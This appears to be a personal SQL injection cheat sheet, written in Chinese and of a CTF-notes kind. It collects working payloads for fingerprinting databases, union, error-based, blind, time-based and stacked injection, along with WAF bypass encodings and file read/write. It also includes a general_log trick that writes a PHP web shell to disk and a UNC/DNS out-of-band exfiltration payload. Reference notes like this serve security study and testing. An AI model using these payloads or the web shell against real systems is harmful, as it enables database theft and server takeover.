--- title: 'SQLI 筆記' disqus: cjiso tags: cheatsheet --- SQL Injection === :::spoiler 目錄 [TOC] ::: - [PayloadsAllTheThings/SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) # sqlmap - [usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage) - [mssqlserver](https://github.com/sqlmapproject/sqlmap/tree/master/plugins/dbms/mssqlserver) # 資料庫辨別 > #1 利用系統特有變數去測試是否觸發 error > #2 用註解辨別 - mysql - https://dev.mysql.com/doc/refman/8.0/en/ - current_user(),system_user() - 註解:`#` - postgresql - https://www.postgresql.org/docs/9.1/ - current_database() - Transact-SQL(mssql) - [sqlmap - fingerprint](https://github.com/sqlmapproject/sqlmap/blob/master/plugins/dbms/mssqlserver/fingerprint.py#L85): `UNICODE(SQUARE(NULL)) IS NULL` - `@@ROWCOUNT` # 註釋和空白 - https://dev.mysql.com/doc/refman/8.0/en/comments.html > mysql `-- ` 有空格避免 1--4 減負數 | | MySQL | Oracle | MSSQL | | --------- | --------- | --------- | --------- | |注释符 | `/*`、`/*!*/`、`/**/`、`#`、`/*!${[0-9]{5}} ${command}*/`、`-- ` |`--`、`/**/` |`--`、`/**/`、`--%0a- |空白字符 | %09%0A%0B%0C%0D%20 | %00%09%0A%0B%0C%0D%20 | %00-%20| - mysql - https://dev.mysql.com/doc/refman/8.0/en/comments.html - `/*!${[0-9]{5}} ${command}*/` 版本大於${[0-9]{5}} 執行 ${command} - `-- ` -- 後需要有至少一空白或控制字元 - `#` - Oracle - https://docs.oracle.com/cd/B13789_01/server.101/b10759/sql_elements006.htm - `/**/` - `--` - MSSQL/Transact-SQL - https://docs.microsoft.com/zh-tw/sql/t-sql/language-elements/comment-transact-sql?view=sql-server-ver16 - `/**/` - `--` # config location - config file - `/etc/mysql/my.cnf` - data dir - `/var/lib/mysql` # 基本資料庫端操作 - 只能在資料庫的 shell 使用 - 顯示所有資料庫: `show databases;` - 使用資料庫: `use $database;` - 顯示表格: `show tables [from $database];` - 顯示欄位: `show columns from [$database.]$table;` - 顯示使用者權限: `show grants [for $user@$host];` - 顯示全域變數: `show global variables;` # 基本 CRUD - 建立資料庫: `create database $database;` - 刪除資料庫: `drop database $database;` - 建立表格: `create table $table ($column1 $type, ...) [from $database];` - 刪除表格: `drop table $table [from $database];` - 新增資料: `insert into $table($column1, $column2...) values($value1, $value2...);` - 讀取資料: `select $column1,$column2... from [$database.]$table;` - 更新資料: `update $table [from $database] set $column1=$value1,... [condition];` - 刪除資料: `delete from [$database.]$table [condition];` # 常用 leak 語句 - 當前使用者: `user();` - 當前資料庫: `database();` - 所有資料庫: `select schema_name from information_schema.schemata;` - 資料庫版本: `version();` - 資料庫路徑: `@@datadir;` - 資料表: `select table_name from information_schema.tables where table_schema=database();` - 欄位名: `select column_name from information_schema.columns where table_schema=$database and table_name=$table` # 常用過濾&條件 - where: `select name from users where id=1;` - limit:;`select name from users limit $start,$count;` - limit 作用在同一層 select 上 - `select (select id from users limit 0,1)id,name as ji from users limit 0,3;` - like: - regexp: `select name from users where id regexp '^ji..$';` - if: `if(expression, true:,false:);` # 基本跳脫 - query: `select * from users where id='$id';` - id=;`' or '1'='1;` => `select * from users where id='' or '1'='1';` - query: `select * from users where id=('$id');` - id=;`') or '1'=('1;` => `select * from users where id='' or '1'=('1');` # leak 流程 - Null 找欄位數 - 測型態 - 庫名 - `select database()` - 表名 - 欄位名 # schemata、metadata - [mysql](https://dev.mysql.com/doc/refman/5.7/en/information-schema-schemata-table.html) - information_schema - schemata - schema_name - tables - table_name - table_schema - [oracle](https://docs.oracle.com/en/database/oracle/oracle-database/21/drdag/all_tables-drda-gateway.html) - ALL_TABLES - OWNER - TABLE_NAME - ALL_TABLE_COLUMNS - COLUMN_NAME # Union-based - 原理: 透過 union select 夾帶查詢到的資料 - 條件: 可以注入,顯示查詢資料 - 必須和前面同 column num - 要允許重複值使用 union all select ### payload - ` union select user(),version(),database();` # Blind Injection - 情境: 不直接顯示查詢結果 ## !Error-based - 原理: 製造 error 讓資料夾帶在 error 回報裡 - 條件: 頁面顯示 error 訊息 - 參考: https://uknowsec.cn/posts/notes/MySQL%20Error%20Based%20SQL%20Injection%20%EF%BC%88%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%EF%BC%89%E6%80%BB%E7%BB%93.html - 思路 - branch + 1/0 - Oracle: `to_char(1/0)` - MS: `1/0` - PostgreSQL: `cast(1/0 as text)` - branch + select too more: `SELECT IF (${COND}, (SELECT 1,2), 'a')` ### payload - count() floor() group by >=4.1, <5.7.26 : `(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);` - 因為 group_by 會做兩次操作去取 key 值,第一次查 key 值是否存在,第二次取 key 值做插入,若是兩次 key 值不一樣則可以讓插入產生錯誤 - [你的PoC和EXP可能得改改了](https://www.freebuf.com/articles/web/207998.html) - extractvalue() >= 5.1.5 : `extractvalue(1,concat("]",(select user())));` - name_const() >= 5.1.5: `select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;` - 因為 name_const 可以建立含相同的 column name 的 table 導致 `select *` 取值出錯 - updatexml() >= 5.1.5: `updatexml(1,concat("]",(select user())),1);` - exp() 版本 > 5.5: `exp(~(select * from(select user())a));` ## Boolean-based - 原理: expression 的 true/false 造成回傳內容不同,用來判斷 true/false - 條件: 回傳內容有判斷 true/false 的依據 - 速度慢,善用二分搜 ### 常用函數 - 假設 version() = '10.3.15-MariaDB-1' - if: `if(expression, true: a,false: b);` - like: - regexp: `version() regexp '^10.3';` = true - left: `left(version(),3);` = '10.3' - mid: `mid(version(),2,5);` = '0.3.1' - right: `right(version(),5);` = 'aDB-1'; - ascii: `ascii('a');` = '97' - ord: 同 ascii ## Time-based - 原理: 藉由 expression 的 true/false 造成不同時間差判斷 true/false - 條件: 可使用 sleep, benchmark, 笛卡爾積 - 參考: https://www.cdxy.me/?p=789 | db | command | | -------- | -------- | | Oracle | dbms_pipe.receive_message(('a'),10)| | MS | WAITFOR DELAY '0:0:10' | | PostgreSQL| pg_sleep(10)| | MySQL | sleep(10)| ### payload - sleep() : `1'='1' and (boolean expression) and sleep(1);` - benchmark() : `1'='1' and (boolean expression) and benchmark(10000000,sha(1));` - 笛卡爾積 : `SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;` - 笛卡爾乘積是指在數學中,兩個集合X和Y的笛卡尓積(Cartesian product),又稱直積,表示為X × Y,第一個物件是X的成員而第二個物件是Y的所有可能有序對的其中一個成員 。 - get_lock() : `select get_lock('karma',1);` - 條件: mysql_pconnect 查詢 - rlike : `select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');` - 通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。 ## Stacked Injection - 原理: 透過`;`串接複數查詢語句 - 條件: 使用 `mysql_multi_query` - 可以做 CRUD ### payload - `; insert into users(id, name) values(7122,'jizz');;` # 檢測設定&權限 - 檢測當前權限 - `select @@GLOBAL.secure_file_priv` - `show grants`: current user, 查看自身權限時不需要其他權限 - `select * from information_schema.user_privileges`: global - FILE: 讀寫 - 所有資料庫設定: `select * from information_schema.global_variables[where variable_name=$varName and variable_value=$varValue];` - 資料庫可不可寫: `select @@secure_file_priv;`, `show variables ` - Null: 不可讀寫 - 路徑: 限制讀寫位置 - empty: 沒限制 - 所有權限欄位名: `select column_name from information_schema.columns where table_schema='mysql' and table_name='user';` - 讀寫權限: `select File_priv from mysql.user where concat(user,'@',host)=user();` - 幾個重要欄位: `host, user, password, (select|insert|update|delete|create|drop|file)_priv` - Y or N ## 寫檔/write - `into` 受 `secure_file_priv` 限制: `select ... into outfile $absPath [terminated by ...];` - `dumpfile`: no formatting - `outfile`: formatting - `@var_list`: 存到 variable, - 可寫位置 `@@datadir` - 從前面column寫入或是terminated by寫入 - general_log 不受 `secure_file_priv` 限制 ``` # from kaibro SET global general_log='on'; SET global general_log_file='/tmp/cmd.php'; SELECT '<?php assert($_POST["cmd"]);?>'; ``` - slow_query_log 不受 `secure_file_priv` 限制 ``` SET GLOBAL slow_query_log=1; SET GLOBAL slow_query_log_file='/tmp/cmd.php'; SELECT '<?php echo 7122;?>' or sleep(11); ``` ## 讀檔/read - `load_file()` :`select 1,2,load_file($absPath);` - `load data infile`: `select load data infile $absPath .....` ## 思路 - secure_file_priv 要在可訪問的路徑上才可能訪問shell,~~否則試著覆寫設定達到~~ 該設定不可變動 - 資料沒顯示在前台時,寫入 web 目錄再訪問 # security options / 安全配置 - [summary](https://dev.mysql.com/doc/refman/5.7/en/security-options.html): 配置位置、影響範圍等等 ## [secure_file_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) - 不可變動 - 有三個值 - 空的: 無任何限制 - /path: 限制 import/export 位置 - NULL: 無法 import/export > MariaDB 沒有 NULL 這個配置,所以預設可寫任何位置... [ref](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv) ## ssl_cert - 可變動,可能用來 read file 嗎? # !DNSLOG - Windows 下 UNC ### payload - `load_file(concat('\\',(select database()),$domain)` # WAF Bypass - https://dev.mysql.com/doc/refman/5.7/en/string-literals.html ## mysql繞過 - 刪除型過濾:uniunionon - 大小寫:SelEcT - 註解 bypass comments: `/*!{cmd}*/` - 拼接: - `select 'a' 'b' 'c';` ## mysql替代 - 空白 <space> - %a0 空格 - %0a 新行 - %0b 垂直tab - %09 水平tab - %0c 新頁 - %0d return - %20 - /**/ - `select/**/*/**/from/**/users;` - () - `and(1=0)` - 逗號 , - join - `select * from (select user())a join (select version())b join (select database())c;` - `limit a,b == limit b offset a` - `mid(c, a, b) == mid(c from a for b) == substr(c from a for b) == right(left(c, a+b-1),b)` - `having`, `where` - `select * from user where name='cjiso';` - `select * from user having name='cjiso';` - `substr` < `insert` - `select substr('abcde',1,3),insert('abcde',4,2,'');` - `in` > `=` - `select * from user where 'cjiso'in(username);` - `select * from user where 'cjiso'=username;` - `sleep` > `if` - `select sleep((1=1*)3);` - `select if(1=1,sleep(3),Null)` - `select` - mysql 8 新語法 `TABLE`, `VALUES` - https://www.anquanke.com/post/id/231627 - `..... where (table user limit 1) > row(1,1,1,1,1,1.....)` - 編碼 - ascii:`abcd` - binary: `0b01100001011000100110001101100100`;`B'01100001011000100110001101100100'`;`b'01100001011000100110001101100100'` - hex: `0x61626364`;`X'61626364'`;`x'61626364'` - [_charset_name]'string' [COLLATE collation_name]: `select _latin1'abcd',_utf8'àbcd',n'àbcd',N'àbcd';` ## postgresql 繞過 - string 可以分隔一個空白或是空行 ## postgresql 替代 - https://www.postgresql.org/docs/9.1/sql-syntax-lexical.html - 編碼 - unicode: `U&"\0441\043B\043E\043D"` ## !寬字節注入 - 原理: php 和 sql 編碼不同導致decode時出現歧意 - 條件: 編碼不同 - `%df` 可以吃掉 `\`,繞過php的轉意(`' => \'`) - utf-8 utf-16 utf-32 ## !HPP - HTTP Parameter Pollution - 原理: 解析重複參數順序不一致 - 條件: 存在解析重複參數順序不一致 - 情境: - 雙層架構(Client -> WAF -> Server)中 WAF 和 Server - GET 和 POST - 參考: - https://www.cnblogs.com/backlion/p/8556150.html - Tomcat -> Apache: Tomcat 解析第一個,Apache解析最後一個 - `?id=1&id=payload` - 參考表格: | Web服務器 | 獲取函數| 取到的參數| |---|---|---| |PHP/Apache|$_GET("p")|Last| |JSP/Tomcat|Request.getParameter(“p”)|First| |Perl(CGI)/Apache|Param(“p”)|First| |Python/Apache|getvalue("p")|All(List)| |ASP/IIS|Request.QueryString(“p”)|All (comma-delimited string)| ## Refs - https://xz.aliyun.com/t/7767 # 注入點 - 依語句順序,在之前的語句可以接更後面的項目,不贅述 ## where - 除了 CRUD 外無限制 ## order by - 不能接 union - `select 1 order by 1 union select 2;` error - blind injection ## limit - 不能接 union - `select 1 limit 0,1 union select 2;` error - into outfile - 需有權限 - procedure - error - `procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);` - time - 不能用 sleep - `PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);` # !length vs char_length # Mariadb - secure_file_priv 預設會是空值,並且沒有 `NULL` 可以配置 - MariaDB-only executable comment syntax (starting from MariaDB 5.3.1): `/*M!###### MariaDB-specific code */` # Sqlite - https://www.sqlitetutorial.net/sqlite-commands/ # Transact SQL ## syntax - `SELECT(1)FROM"sys"."tables"`: 無空格 ## function - `SCHEMA_NAME`: schema id to schema name ## system table - [sys.tables](https://docs.microsoft.com/zh-tw/sql/relational-databases/system-catalog-views/sys-tables-transact-sql?view=sql-server-ver15) - `name`: table name - `schema_id` - `object_id` - [sys.columns](https://docs.microsoft.com/zh-tw/sql/relational-databases/system-catalog-views/sys-columns-transact-sql?view=sql-server-ver15) - `name`: column name - `object_id`: object id of the belonged by ## Framework CVE ### Django - [CVE-2022-34265](https://github.com/aeyesec/CVE-2022-34265?fbclid=IwAR3uAPreD9QrXLVVUKeICTH5QYJZyaQQvgzVsqAy0_ddjfOe_TD9kmUtPx0) - # Refs - https://xz.aliyun.com/t/7767 # OOB - webdav UNC - `\\server[@SSL][@port][\path]` - if server == IP, send SMB - if server == domain or has @port, send HTTP `PROPFIND` - trigger HTTP endpoint without method validation (e.g. PHP) - s information - https://www.n00py.io/2019/06/understanding-unc-paths-smb-and-webdav/ - https://learn.microsoft.com/en-us/windows/win32/api/davclnt/nf-davclnt-davgethttpfromuncpath - https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf - https://dl.packetstormsecurity.net/papers/general/MySQL_OOB_Hacking.pdf # 預處理 Prepared Statement ## Simple mode v.s. Extended mode - https://www.sonarsource.com/blog/double-dash-double-trouble-a-subtle-sql-injection-flaw/ - simple mode 是在 client 端準備好 SQL 再送 server,extended mode 是把 prepared statement 送到 server 才 evaluate - simple mode 可能實作有問題導致即使用 prepared statement 還是被繞過 ## Parameter Injection - `https://mp.weixin.qq.com/s/MbcbOJPnygU3L4pTU-fgnA` - 執行順序 - 過濾 user input - 拼接 user input (e.g. column name) - **解析 parameter** - simple mode 建構語句 - PHP PDO 預設 simple mode `PDO::ATTR_EMULATE_PREPARES=true` > 搞不好 extended mode 也行? - 注入 `?` 讓 parameter 解析錯誤位置 - 常見: column name 拼接、order by - ```select `$col` from users where name= ? ;``` - 拼接 `$col` 並且註解後面 `?`: ```select `? ;# `from users where name=?; ```